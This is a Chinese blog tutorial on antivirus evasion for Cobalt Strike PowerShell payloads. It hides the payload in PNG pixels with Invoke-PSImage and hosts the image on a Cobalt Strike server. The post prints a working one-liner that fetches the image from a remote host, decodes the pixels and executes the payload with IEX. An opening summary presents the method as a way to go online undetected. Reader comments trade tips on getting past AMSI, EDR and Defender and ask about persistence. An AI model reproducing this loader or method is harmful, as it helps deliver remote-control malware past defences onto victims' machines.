Cobalt Strike–powershell的payload免杀

枫少@KillBoy
枫少@KillBoy
管理员
219
文章
0
粉丝
资源分享287,8301字数 629阅读2分5秒阅读模式
AI智能摘要
如何让Cobalt Strike的powershell载荷彻底隐身,躲过安全软件的精准拦截?本文揭秘免杀实战新思路:利用Invoke-PSImage脚本将攻击代码巧妙嵌入普通PNG图片像素中,无需复杂加密即可绕过检测。手把手教你完成监听器创建、payload嵌入与服务器部署全流程,重点解析图片像素存储原理及URL动态替换技巧。安全研究员必备技能,学完立刻掌握"图片藏毒"的核心逻辑,让渗透测试真正实现无声上线。读完这篇,你的免杀技术将迈出质的飞跃!
— AI 生成的文章内容摘要

powershell的payload免杀

一、首先创建一个监听器

1616331452_605742bce1122c7bc3bbe.png!small?1616331451159

二、生成一个ps的payload

1616331461_605742c522648038c04cf.png!small?1616331459321

1616331465_605742c95ba3f027208ce.png!small?1616331463558

1616331469_605742cd885fb164fe09a.png!small?1616331467674

1616331473_605742d1e42230c85820b.png!small?1616331472119

查看一下生成的

Cobalt Strike–powershell的payload免杀-图片1

三、Ps的payload嵌入图片并且生成一段执行免杀代码

1.介绍

将生成的ps代码集成到一个图片中,图片尽量像素大一点,我们需要用到invoke-psimage脚本,原理是将脚本中的字节数据存储到图片中,而图片的每一个像素都会存一个字节,所以图片像素尽量大一点。

Invoker-psimage

Invokerpsimage会将一个powershell脚本以字节方式嵌入到png图片的像素中,并生成一行执行命令来帮助我们从文件或web执行它们。它会利用图片中每个像素点最后4位有效位的2个颜色值来存储

payload数据,图片质量会稍微有些影响,但基本着不出来什么区别。图片需要为png格式,因为payload数据存储在颜色值中,所以这种格式尚政进行尤损压缩直不会影响payload执行。它可以接受大多数图片类型作为输入,但输出必须为png格式,因为输出图像数据需要是无损的。

https://github.com/peewpw/Invoke-PSImage

注意:图片大小一定是:1920x1111(我这个只是参考,大于这个更好)

建议用ps软件去改大小,wps需要开会员,这就qt的吧

Cobalt Strike–powershell的payload免杀-图片2

需要用github上的脚本进行生成

-script:指定刚才下载的脚本

-image: 指定图片

-out:输出的位置

-web:需要执行的命令

2.将payload嵌入图片

首先在当前目录下打开cmd绕过策略:

Cobalt Strike–powershell的payload免杀-图片3

进行嵌入

A、首先导入脚本

Import-Module ./Invoke-PSImage.ps1

B、其次在进行生成命令

Invoke-PSImage -Script ./payload.ps1 -Image ./chaosec.jpg -Out test2.png -Web

C、生成的命令:(不过这里需要修改url的地址)

sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://192.168.0.177:80/chaosec/test2.png"));$o=a Byte[] 3992;(0..7)|%{foreach($x in(0..498)){$p=$g.GetPixel($x,$_);$o[$_*499+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3554]))

Cobalt Strike–powershell的payload免杀-图片4

红框中的url需要修改

查看生成的图片

Cobalt Strike–powershell的payload免杀-图片5

四、通过host file进行上传到服务器端

1616331538_6057431235eb97adb0f46.png!small?1616331536549

文件选择刚才生成的test2.png文件

Cobalt Strike–powershell的payload免杀-图片6

文件选择刚才生成的test2.png文件

Cobalt Strike–powershell的payload免杀-图片7

将这个生成的链接放到刚才生成需要修改的url中

Cobalt Strike–powershell的payload免杀-图片8

在服务器端查看上传的文件

发现上传成功

Cobalt Strike–powershell的payload免杀-图片9

五、执行命令使其上线

1616331588_605743441ce6c8cda83cf.png!small?1616331587433

https://www.freebuf.com/sectool/266941.html

 
枫少@KillBoy
评论  28  访客  25  作者  3
    • 赛博狂想
      赛博狂想 0

      这方法真能绕过杀软?试了下火绒还是报了🤔

      • 暗黑祭司
        暗黑祭司 0

        图片像素要求这么死,1920×1111有点难搞啊

        • AbyssWhisperer
          AbyssWhisperer 0

          前几天刚用invoke-psimage搞免杀,png一压缩就废了,得注意无损

          • 冷刃无情
            冷刃无情 0

            感觉还行,不过现在EDR对ps脚本监控挺严的

            • 竹影横窗
              竹影横窗 0

              有人试过在Win10最新版跑这个payload吗?会不会被AMSI拦?

              • 射手晨曦
                射手晨曦 1

                又是CS教程,能不能讲点新花样…看腻了

                  • 甜蜜小象
                    甜蜜小象 0

                    @ 射手晨曦 新花样?先教教怎么绕过AMSITracing再说hhh

                  • 行李箱的轮子
                    行李箱的轮子 0

                    sal a New-Object这写法老掉牙了,现在都混淆成啥样了hhh

                      • 泡泡小熊
                        泡泡小熊 0

                        @ 行李箱的轮子 现在谁还用sal a New-Object,直接反射加载不香?

                      • 幽暗之翼
                        幽暗之翼 0

                        建议别用wps改图,导出压缩太狠,直接PS或者GIMP吧

                        • 金刚猴
                          金刚猴 0

                          要是目标机没装.NET咋办?这方法依赖System.Drawing啊

                          • 孤独星辰
                            孤独星辰 0

                            免杀一时爽,上线火葬场…上次连上就被蓝队溯源了666

                              • 彗星之心
                                彗星之心 0

                                @ 孤独星辰 试了下火绒没报,但Defender秒删,玄学…

                              • 拾忆者
                                拾忆者 0

                                这方法在Win11上跑得起来吗?AMSI现在挺狠的

                                • 烟雨任平生
                                  烟雨任平生 0

                                  图片一压缩就挂,我上次用手机传完直接失效了

                                  • 天蓝
                                    天蓝 0

                                    老哥别光说免杀,上线后怎么持久化啊?

                                    • 影影迷踪
                                      影影迷踪 1

                                      invoke-psimage早被主流EDR盯死了吧,实测卡巴都拦

                                      • 沉稳的山岳
                                        沉稳的山岳 1

                                        github链接挂了,能补一下吗?

                                          • 枫少@KillBoy
                                            枫少@KillBoy

                                            @ 沉稳的山岳 链接我更新了,你再试试看。

                                          • 苍岚
                                            苍岚 1

                                            1920×1111这个尺寸有啥讲究吗

                                              • 枫少@KillBoy
                                                枫少@KillBoy

                                                @ 苍岚 尺寸大点能存更多代码,太小了可能不够用

                                              • 梦魇兽
                                                梦魇兽 1

                                                这方法现在还行得通吗?

                                                  • 野草莓
                                                    野草莓 1

                                                    @ 梦魇兽 现在好多杀软都盯着了,有点难

                                                  • 黄土窑洞
                                                    黄土窑洞 0

                                                    GIMP改图确实稳,wps导出直接糊成马赛克

                                                    • 正义巨像
                                                      正义巨像 1

                                                      像素大小这个点挺关键的,之前没注意

                                                      • 威震四海
                                                        威震四海 1

                                                        1920×1111这尺寸真够具体的,记下了

                                                          • 枫少@KillBoy
                                                            枫少@KillBoy

                                                            @ 威震四海 图片得够大才能藏下代码,这个尺寸是经验值。

                                                        匿名

                                                        发表评论

                                                        匿名网友

                                                        拖动滑块以完成验证